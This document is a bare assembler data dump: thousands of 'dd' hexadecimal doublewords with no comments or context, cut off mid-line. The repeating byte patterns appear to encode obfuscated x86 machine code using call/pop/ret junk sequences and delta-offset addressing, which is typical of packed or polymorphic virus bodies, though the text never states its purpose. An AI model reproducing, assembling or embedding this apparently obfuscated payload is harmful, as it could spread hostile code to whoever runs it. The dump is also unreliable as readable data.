0B60FDE42h, 56006AD8h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 8EE3A1Ah, 584358F5h dd 6BA11h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 57E95C3h, 6AC38BF2h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0C261C355h dd 0FEF3F26Eh, 0AA12A9A9h, 9A953FBFh, 4E8C161h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 6BC35242h, 8B026D26h dd 0E703D9B5h, 1C5CBF05h, 0F7661705h, 57006AE2h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0EC3D4573h, 0D82B02DAh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 56C35242h, 2054D624h, 7BC34202h, 0FD85310Eh dd 5005E70Bh, 1C89F88Bh, 39B58B24h, 0FF05E725h, 0E72A75B5h dd 6FBF6605h, 1D95FF71h, 6A05E71Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 27A2C356h dd 665600B0h, 5F7D1ABEh, 6A70E6h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 269DD8C3h, 8589197Fh dd 5E7257Dh, 6A71E4h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 3DDE33C3h, 0BD295777h, 5E70D61h dd 0F613C5Eh, 21E83h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0BD2B599Bh, 5E72DB1h dd 29D8B60Fh, 0E705358Dh, 6BA05h, 9D890000h, 5E721A5h dd 8F0FC38Bh, 1Ch, 10E8h, 3894BD00h, 7DC86CFDh, 0BFCA8D2Ah dd 66718B72h, 99B50962h, 5E05E715h, 6A04E8C1h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h dd 0AD77C352h, 0B58B0022h, 5E72499h, 6AE2F766h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 315AC351h, 501453Fh, 11BD8BCBh, 2B05E723h, 55006AD8h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 2178F75Dh, 0BD89CC36h, 5E71A19h, 0FD82B58h, 13E88h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0BD2366A0h, 0E1B58B7Ch, 8B05E720h, 0E70595B5h dd 7B905h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0ADBD5AC3h, 0C1836520h, 0FE900h dd 86D40000h, 0A2CE597Ah, 1535A932h, 8DBDFADDh, 61852913h dd 3B05E722h, 0C8860FD9h, 66000000h, 6AD98Ch, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0CE2A44C3h dd 7D5D012Dh, 0B7D8589h, 0BD8B05E7h, 5E70779h, 0F04C1F6h dd 7284h, 95FFFC00h, 5E72CD9h, 0BF665BF5h, 0C32B761Ch dd 12E8h, 0CC314900h, 251B335Ah, 0BC5AE759h, 6B0741FCh dd 8B3D27F8h, 343D5EF2h, 0F000008h, 3E86h, 6E800h, 0D0650000h dd 0BCCFEA01h, 27919509h, 0E95E05E7h, 43h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 9AC35242h, 31C2FFB2h dd 0E70BC195h, 8BF28B05h, 8E8C0h, 0E3EF0000h, 5C58163h dd 0BD29B0F7h, 5E72DB9h, 88CE815Eh, 8B20131Bh, 6AD88BC3h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0C7E0C353h, 0E726B585h, 0EE53B505h, 418D891Ah dd 8B05E716h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 3D5B14D8h, 7E247E52h, 0FE852h, 0FCF90000h dd 9AE7196Ch, 0B05346D4h, 2BB60933h, 5F5E52B0h, 4DBD8B5Fh dd 8105E72Ah, 0E72A75BDh, 7D005h, 14850F00h, 29000000h dd 0E720898Dh, 0BD235005h dd 5E70391h, 7585FF5Eh, 0FF05E72Ah, 0E72A75B5h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 610B39ADh, 12E9E8h, 0A5480000h, 0AF18725Ah, 59977769h dd 6E9E8BC1h, 9283B2B6h, 1A1D95FFh, 0E95005E7h, 11h, 4D0EB058h dd 4E830ECEh, 0D4C6CEF5h, 8DF82122h, 50905F20h, 14E9h dd 6AF58200h, 0AC61272Ch, 0FE4AE8B7h, 0AFA342A2h, 6296A28Ah dd 958D0982h, 5F05E725h, 227DBD03h, 9D8905E7h, 5E723C9h dd 22C68BBEh, 25B58B47h, 6A05E723h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 349BC355h dd 0FC1316E3h, 375BD8Bh, 858905E7h, 5E72F9Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0B9C35646h, 31343101h dd 15B1B58Bh, 8D8905E7h, 5E72371h, 825C15BEh, 55006A77h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0E9AE6E06h, 9, 21BCB5DCh, 7B5528D2h, 95BD8BE8h, 3105E712h dd 0E732E99Dh, 0E8A0F05h, 0E9000000h, 9, 0DC495EBh, 2D5C6603h dd 31D68137h, 6611E59Bh, 6AF88Bh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0B5D039C3h, 8B609D48h dd 0E730BD95h, 0DE905h, 0B7AE0000h, 0DEFE4EAAh, 0E5F2A002h dd 6689A344h, 96FDCF81h, 0F3BF0F61h, 278B0Fh, 0E8510000h dd 14h, 71FDA791h, 57CF8BA0h, 480798B8h, 51B5CB7Fh, 83D7E214h dd 0E95EF95Fh, 5, 0F3F9B17h, 0F7CBE9F5h, 8B0FFFFFh, 4 dd 4AB7BE66h, 6AC18Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 1F40BBC3h, 0FBD4C596h, 12BF66h dd 4EBh, 95890000h, 5E71785h, 5E8h, 7370800h, 525394F1h dd 8D5F5F5Eh, 0E71AF985h, 68B0F05h, 8B000000h, 0E723B5B5h dd 0FFBF0F05h, 6E990h, 0F7C00000h, 97392105h, 6A9050h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0D3FF49C3h, 3C68768h, 6A171111h, 858B6000h, 5E72C7Dh dd 2D759589h, 316105E7h, 0E732E9BDh, 1006A05h, 0E72F7D85h dd 50858D05h, 6A05EAFFh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 1FF7C353h, 8BF37CC7h dd 0F2BF0FF2h, 6A05C083h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 792EC353h, 0C2BAA86Fh dd 0FCEB6D19h, 50FEBF0Fh, 9DB4C4BFh, 2404896Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 95C35343h, 9BFB40F7h dd 0FE83753h, 0C8000000h, 948E3B6Bh, 0E8942D33h, 93C8D201h dd 14E96AEBh, 14000000h, 97F7C220h, 674033D9h, 4EAD6BDAh dd 0E7B94EFFh, 5E8D7FFAh, 6A006Ah, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 27C35040h, 4972E558h, 81DF84A8h dd 38123D6h, 0C595FF43h, 6A05E702h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6FBEC357h dd 89F18B67h, 0E713C1BDh, 149D8D05h, 6A05EA95h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 18FEC353h, 89C2EB6Bh, 0E721A585h, 6AD3FF05h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 4168C353h, 7C01EAFBh, 29D36EE5h, 0AD9BD8Bh, 85FF05E7h dd 5E71CE1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 5FC35242h, 0D1525DFh, 99F9614Ah, 0FE924h, 0A98B0000h dd 0A948819Ch, 466CD383h, 3462C8BBh, 72DE9E8h, 0E80000h dd 5D000000h, 0FF5AED81h, 8B0F05EAh, 6, 273D8501h, 0BD8105E7h dd 5E72A75h, 7D0h, 0B8860Fh, 8D890000h, 5E7062Dh, 97D9D8Bh dd 0B58B05E7h, 5E708C9h, 100E381h, 0FA8B0000h, 850FDB0Bh dd 69h, 99B58B60h, 8005E70Bh, 836169DBh, 0EAFD31BDh, 840F0005h dd 0Bh, 24ADBD8Bh, 51E905E7h, 0C7000000h, 0EAFD3185h, 105h dd 0E19D8900h, 8B05E70Dh, 0E72F85B5h, 36E905h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 2EAB9EC3h, 17038C21h, 38B0Fh, 0B70F0000h, 3185C7F0h dd 5EAFDh, 0FC000000h, 97D9D8Dh, 0BE905E7h, 0BC000000h dd 0B02807B8h, 5C40023Eh, 2381A7E7h, 0FFFFFEFFh, 0EDDBD8Bh dd 8C6605E7h, 895E52DBh, 0E702399Dh, 4C3F605h, 2D840Fh dd 0F18B0000h, 2CD995FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0E8EEDAC3h, 24048950h dd 0E9F9B70Fh, 3F4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 31C35747h, 0B70FB9A5h, 2900B0FFh, 0E708A18Dh dd 6A70E605h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 30D9C353h, 81666057h, 0F0877F2h dd 686h, 8E0F00h, 61000000h, 830Fh, 71E40000h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 4CC35343h, 53A7D766h dd 0D8B60F03h, 2629BD8Bh, 6BA05E7h, 0F5000000h, 6AC38Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0BE668DC3h, 0E9529EADh, 5, 7753DBD3h, 0E8C15FD1h, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0F1B7FBCCh, 0AE441AA4h, 14E89Bh, 39F40000h, 7B08446Ch dd 5F3270DDh, 53DBD340h, 7290D177h, 665F5146h, 6AE2F7h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0E95150C3h, 1C26E8C3h, 0D82BF78Bh, 2C218D01h, 895005E7h dd 6A241Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 664C67C3h, 353A7D7h, 0B5FFBB0Ch, 5E72A75h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0F4C35343h dd 5F23684Fh, 2C8B1F0Bh, 9E956h, 2E3F0000h, 52FE7A6Dh dd 0FFF343E1h, 0E71A1D95h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 312C7C52h dd 81A549F9h, 51DB589h, 0B005E7h, 6A70E6h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 493CB6C3h dd 89609102h, 0E726CD85h, 0E461F505h, 0BD895371h, 5E7054Dh dd 0F613C5Eh, 1F383h, 70F68100h, 91B9F80h, 0E704E185h dd 0D8B60F05h, 8E9h, 32749300h, 47711A1Bh, 6BAA0h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 664879C3h, 0E851FE8Bh, 13h, 65DB6DC9h, 0C843C822h, 94280B7Ah dd 0B9FB2EA5h, 6036FD0Ah, 8B5F5F61h, 0C1F38BC3h, 816604E8h dd 668C5BDFh, 6AE2F7h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 7865C9C3h, 0B58B44DFh, 5E73259h dd 12E9D82Bh, 0F3000000h, 93B75D83h, 0F7F81B48h, 0C62702Dh dd 6DC649E8h, 820F58A2h, 6, 12D5B509h, 0D82B05E7h dd 132880Fh, 8B660000h, 14E9F7h, 8AA80000h, 0B6932555h dd 4183B7CDh, 8246A57Ch, 0B29190C6h, 7B984E4h, 81000000h dd 3127A0EFh, 0C18311h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0FFC35646h, 3BFFBF0Fh, 0E1860FD9h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 4F07C356h, 18536E65h, 0BD335F57h, 5E72041h dd 2BD98C66h, 0E72DCDB5h, 4C1F605h, 9E840Fh, 0B5310000h dd 5E704CDh, 2CD995FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0BA2801C3h, 0E48ECB42h dd 0B70FEF90h, 0B58B5BFEh, 5E7094Dh, 6AC32Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 3D74AEC3h dd 834h, 3A860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 18E7B7C3h, 60F78B0Ah dd 1E9BD89h, 0C18005E7h, 11E961C7h, 2B000000h, 0E722A9BDh dd 0F6B70F05h, 9D89C08Bh, 5E70ADDh, 0D88BC38Bh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 4EC35242h, 8D669244h dd 0F6814ECEh, 4EF73E23h, 265185C7h, 0CFD705E7h, 6A1E44h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 37D923C3h, 0FE9h, 13EF1300h, 0BB694B92h, 700EBDD5h dd 26100E9Dh, 66FCC08Bh, 815FD0BEh, 0E72A75BDh, 7D005h dd 32850F00h, 66000000h, 85FFF78Bh, 5E72A75h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F5C35747h, 969871C5h dd 0D1BD89B8h, 8B05E713h, 75B5FFF7h, 8105E72Ah, 0DCE76AC7h dd 1D95FF67h, 8105E71Ah, 9DE2CBD6h, 0B70F904Bh, 0DE8F2h dd 771C0000h, 930E5EF0h, 0A73C94D1h, 0F951EBEh, 681h, 0A0DF8100h dd 5F4742FBh, 3BEE8166h, 55006AEEh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 49B58B69h, 8905E723h dd 0E73151B5h, 0ADBD8B05h, 905E713h, 0E723CD9Dh, 0E5BD8B05h dd 8905E702h, 0E71B3DB5h, 0A6D78105h, 666DAFDCh, 4868E781h dd 0D7816060h, 1D6388Ah, 61DBB70Fh, 2D79858Bh, 0F5605E7h dd 615AFABFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 3DC35545h, 8BC2EE14h, 0E71CE5B5h, 0A59D8905h, 6A05E720h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 35EAC351h, 2CC1BD8Bh, 0BF6605E7h, 95892D17h dd 5E70215h, 2E2DBD0Bh, 0B70F05E7h, 53006AF3h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 9C7216h, 64B8538Eh dd 71BD8B58h, 8905E702h, 0E70BB595h, 0F8FCE905h, 6AFFFFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 13681FC3h, 2A918589h, 0BF05E7h, 8B575A74h, 56006AC1h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0A136EC59h, 66F75116h, 0E963C4BEh, 0Ch, 73FEFD82h, 0F83DB9D4h dd 838359B9h, 4EBh, 0F88B0000h, 0F9858DF8h, 105E71Ah, 0E7000DBDh dd 0F539005h, 85h, 0BE505F00h, 338E351Eh, 3EE78190h, 6A0D3363h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0F08BC01Eh, 6A006Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 8D567BC3h dd 0EB07FB85h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1904h, 0C3514100h, 0C10299EFh, 7ABF449Eh dd 83166D24h, 0BD8905C0h, 5E71555h, 24048950h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 2C35747h, 0E534415h dd 0B172FDAEh, 29006A30h, 0E71C5595h, 66006A05h, 0FF7159BFh dd 0E702C595h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 45DE813Eh, 8D659FEBh dd 0EA95149Dh, 0BD8B5205h, 5E72DA5h, 0F88B665Eh, 8166D3FFh dd 0FFEDC2DFh, 0E71CE185h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BD2B773Ah dd 5E70885h, 83CE9h, 0E800h, 815D0000h, 0EB0805EDh, 0D1852905h dd 8105E713h, 0E72A75BDh, 7D005h, 47860F00h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 39CCC356h, 0E6B4FFD4h, 4840F7Dh, 66000000h dd 8BDBADBFh, 0E71C599Dh, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 83F4191Bh dd 0F4346E2Ch, 10E976BCh, 0D1000000h, 4C0E010Ch, 25392F7Fh dd 7F08288Fh, 8194CC8Bh, 100E3h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 138F0F04h dd 57000000h, 0BE8h, 0F65BF700h, 0F8546E8Ch, 8D1CEEC6h dd 0BE665F5Fh, 0DB0B98A5h, 56850Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 2308FCC3h dd 0D8D893Fh, 8305E70Ch, 0EB06BDBDh, 840F0005h, 0Fh, 4269BE66h dd 35E9h, 5DB58B00h, 0C705E72Ah, 0EB06BD85h, 105h, 20E900h dd 0C7810000h, 5757C608h, 6BD85C7h, 5EBh, 0BE90000h, 15000000h dd 2C6585B0h, 0A4489668h, 9D8DF5C3h, 5E71C59h, 0DE9h, 0C1AE4A00h dd 6C407212h, 567C11Dh, 238176D1h, 0FFFFFEFFh, 0BC1B50Bh dd 8C6605E7h, 52006ADBh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 37D92362h, 8A4AAC1Eh, 0F04C3F6h dd 7384h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0E66B653Ah, 3F3210BAh, 95FFFE8Bh dd 5E72CD9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 2DC35747h, 0F8069085h, 0F50D3B8h, 1684h, 0F525000h dd 0AE831h, 73630000h, 91435F2Bh, 9457BB83h, 89585A5Fh dd 0BD8B2404h, 5E72211h, 438E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 4F9C4F68h dd 2471B9A0h, 61BCBE66h, 6A00B0h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0C22267C3h, 0B5031F71h dd 5E72F51h, 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 8AC945C3h, 12CF81BCh, 0E40F4220h dd 50006A71h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 0F0DC1194h, 81E641CDh, 39CB80D7h, 0D8B60F5Bh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0B4C35646h dd 6BA00h, 8B0F0000h, 6, 2E199589h, 0C38B05E7h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 9C35747h, 0D7E0F500h dd 51963231h, 28E0Fh, 61600000h, 13E85Eh, 951E0000h, 2D45E339h dd 78AFE186h, 93FA93A9h, 0BFD2AE1Dh, 76D7BE0Ah, 0C15E69CCh dd 6A04E8h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 7C37F7C3h, 271BD8Bh, 8D8905E7h, 5E7176Dh, 2BE2F766h dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0E3D7C2C0h, 93DCA9CBh, 6A9350h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 706EF0C3h, 75B5FF3Dh, 905E72Ah, 0E7279DBDh, 1D95FF05h dd 5605E71Ah, 13E9h, 0B9D73800h, 25150DEEh, 7A3C1953h dd 0FD489517h, 0F35030FCh, 0FC00B05Fh, 6A70E6h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 11ABD7C3h, 0BE666AA9h, 71E4BDB8h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 65C35646h, 1E629A0Dh, 0C869A611h dd 0BE9h, 0A7BD8400h, 0D27C1819h, 283D6975h, 1967BF66h dd 830F613Ch, 20Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 46C35545h, 6813ED46h, 0F4EAFC7h, 6AD8B6h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 9E75C9C3h, 0A06E20D0h, 1B918D01h, 0CE805E7h, 6A000000h dd 9691946h, 0C9D288DCh, 5ED69A19h, 6BAh, 19BD8B00h, 8B05E72Dh dd 8E9C3h, 7BB0000h, 5AC8A335h, 0E8C10347h, 75958904h dd 6605E70Ch, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 0D82BD7C3h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0E8C35747h, 93537775h, 14E956h dd 50F0000h, 37854AC9h, 228A2FFAh, 55E4C9C7h, 0E311BDFh dd 585F613Ch, 22D7E781h, 0BD8B6F9Bh, 5E715E9h, 880FD82Bh dd 119h, 0B95FFC52h, 7, 6890Fh, 0C7810000h, 41BA22F8h dd 6A00C183h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 29A6C357h, 8166D250h, 3B7D02CFh dd 0D6860FD9h, 0F000000h, 8C66F3BFh, 50006AD9h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 78BE66B1h dd 4C1F655h, 9F840Fh, 0B52B0000h, 5E702EDh, 2CD995FFh dd 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 4981FFC3h, 235CDC1Dh, 0BF86F233h, 356D3319h dd 51006A5Bh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0BA29160h, 2BF202F0h, 5E9C3h, 0C1DC0000h dd 0F85291B0h, 8343Dh, 2E860F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0F583C357h, 1234FCE1h, 0AF222207h, 0CE9h, 0B70FF800h dd 89C08BF0h, 0E72E31BDh, 8BC38B05h, 57006AD8h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 802BE6FAh dd 0D0F57096h, 0CE9F1h, 4A940000h, 144C7DE2h, 32345CBFh dd 85C750DBh, 5E7097Dh, 76D52D13h, 8214DE81h, 0C08B6A7Fh dd 33098D31h, 0BD8105E7h, 5E72A75h, 7D0h, 0D850Fh, 0BD310000h dd 5E72F71h, 2A7585FFh, 0FFF805E7h, 0E72A75B5h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 2623E1B2h, 0FF508015h, 0E71A1D95h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0F70187B9h, 0F9B70F8Ch, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0B908C243h dd 11F86549h, 298D8938h, 3105E725h, 0E73245B5h, 7E805h dd 7C2B0000h, 48105077h, 0BD8956EEh, 5E708A1h, 6E9h, 2EDD2100h dd 5E262263h, 118F0F5Eh, 0E8000000h, 6, 0D7AC01BAh, 0B70FE35Dh dd 5E5E56FFh, 229DBD23h, 816605E7h, 818BD6D6h, 587097C6h dd 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 0BD01CAF0h, 5E72F35h, 31A59D31h, 0BF0F05E7h dd 3A19BEF6h, 952962C2h, 5E73125h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 6C35040h, 7E8h, 0CEEB4700h dd 1C1EA7DCh, 0D8DBD09h, 8B5E05E7h, 0E73131BDh, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0B7208FADh, 0E9A1B2FCh, 0FFFFF7EDh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 19C35545h, 59E78188h, 8B4F861Eh dd 0E70121BDh, 860F6005h, 6, 16919D8Bh, 816605E7h, 0B9667EDEh dd 0FFFFFFFEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0C3C35545h, 80C97144h, 8D21A2D2h, 5E71C59h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 93C35343h, 2D6D9589h dd 8D2105E7h, 5E726D1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 92C35747h, 1AB67F7h, 0E9952933h, 8B05E70Ah dd 0E72F0995h, 598D8B05h, 6A05E71Ch, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F08C357h dd 0D8Fh, 81666000h, 8B9AF5EEh, 0E7024D95h, 0E1836105h dd 1F850F01h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 1028C351h, 8D8B8430h dd 5E726D1h, 2C599D8Bh, 0F86005E7h, 0E18361F8h, 34850F01h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 22E4C355h, 0ADE0EB51h, 6E825h dd 1A500000h, 0D0D2F998h, 2BED8D09h, 615A05E7h, 85958B60h dd 0B905E706h, 0FFFFFFFEh, 5AD88B56h, 1AE58D21h, 8C0F05E7h dd 2, 8D21B1B0h, 5E727D9h, 7E9h, 0C63DE700h, 0F1DB99h dd 1AE58D8Bh, 0D38B05E7h, 0F01E183h, 3085h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 9D4BC67Fh, 9AE40827h, 8166DB33h, 8BA94DDEh, 0E70C819Dh dd 0D98D8B05h, 6A05E727h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0E7A4C356h, 91958BFFh dd 8305E716h, 850F01E1h, 38h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0F4C35545h, 0E394BE7Dh, 0CE9B6h dd 0F49A0000h, 0D7A3AA0Ah, 0CE4CCFFAh, 0BD8956BFh, 5E73201h dd 0BD8B6061h, 5E72209h, 0FFFFFEB9h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 0E336EEC0h dd 0DE998h, 8F5C0000h, 728F0FF9h, 0AA6C173Bh, 0E82A5C15h dd 0Fh, 3B4782A1h, 2C36C1EAh, 0D35D07D3h, 52119046h, 3BDF8166h dd 215E5AF1h, 0E726B58Dh, 13E805h, 0AA450000h, 1E6D034h dd 1DDA2920h, 0B3B77DEFh, 0CB6A0AB4h, 0D9958B76h, 5F05E729h dd 25A18D21h, 6A05E7h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 3A2CEFC3h, 0F28BFC00h, 26B58D8Bh dd 515305E7h, 0E032BB66h, 0E1835A5Eh, 27850F01h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 0B25AC356h, 0B206AABFh dd 16CDBD0Bh, 8D8B05E7h, 5E725A1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 68C35141h, 7C3DD53Bh, 143A2881h dd 8166567Dh, 5F33ECEAh, 0F01E183h, 685h, 79B58B00h, 6105E713h dd 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 9339E5D9h, 0FFFFFEB9h, 53006AFFh, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 6AD730Dh, 21FD0733h, 0E726518Dh, 8D950105h, 2105E712h dd 0E7097D8Dh, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 8B526621h, 8D8BF9FBh dd 5E72651h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 31C35242h, 9D8B0637h, 5E727F9h, 0F01E183h, 3085h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 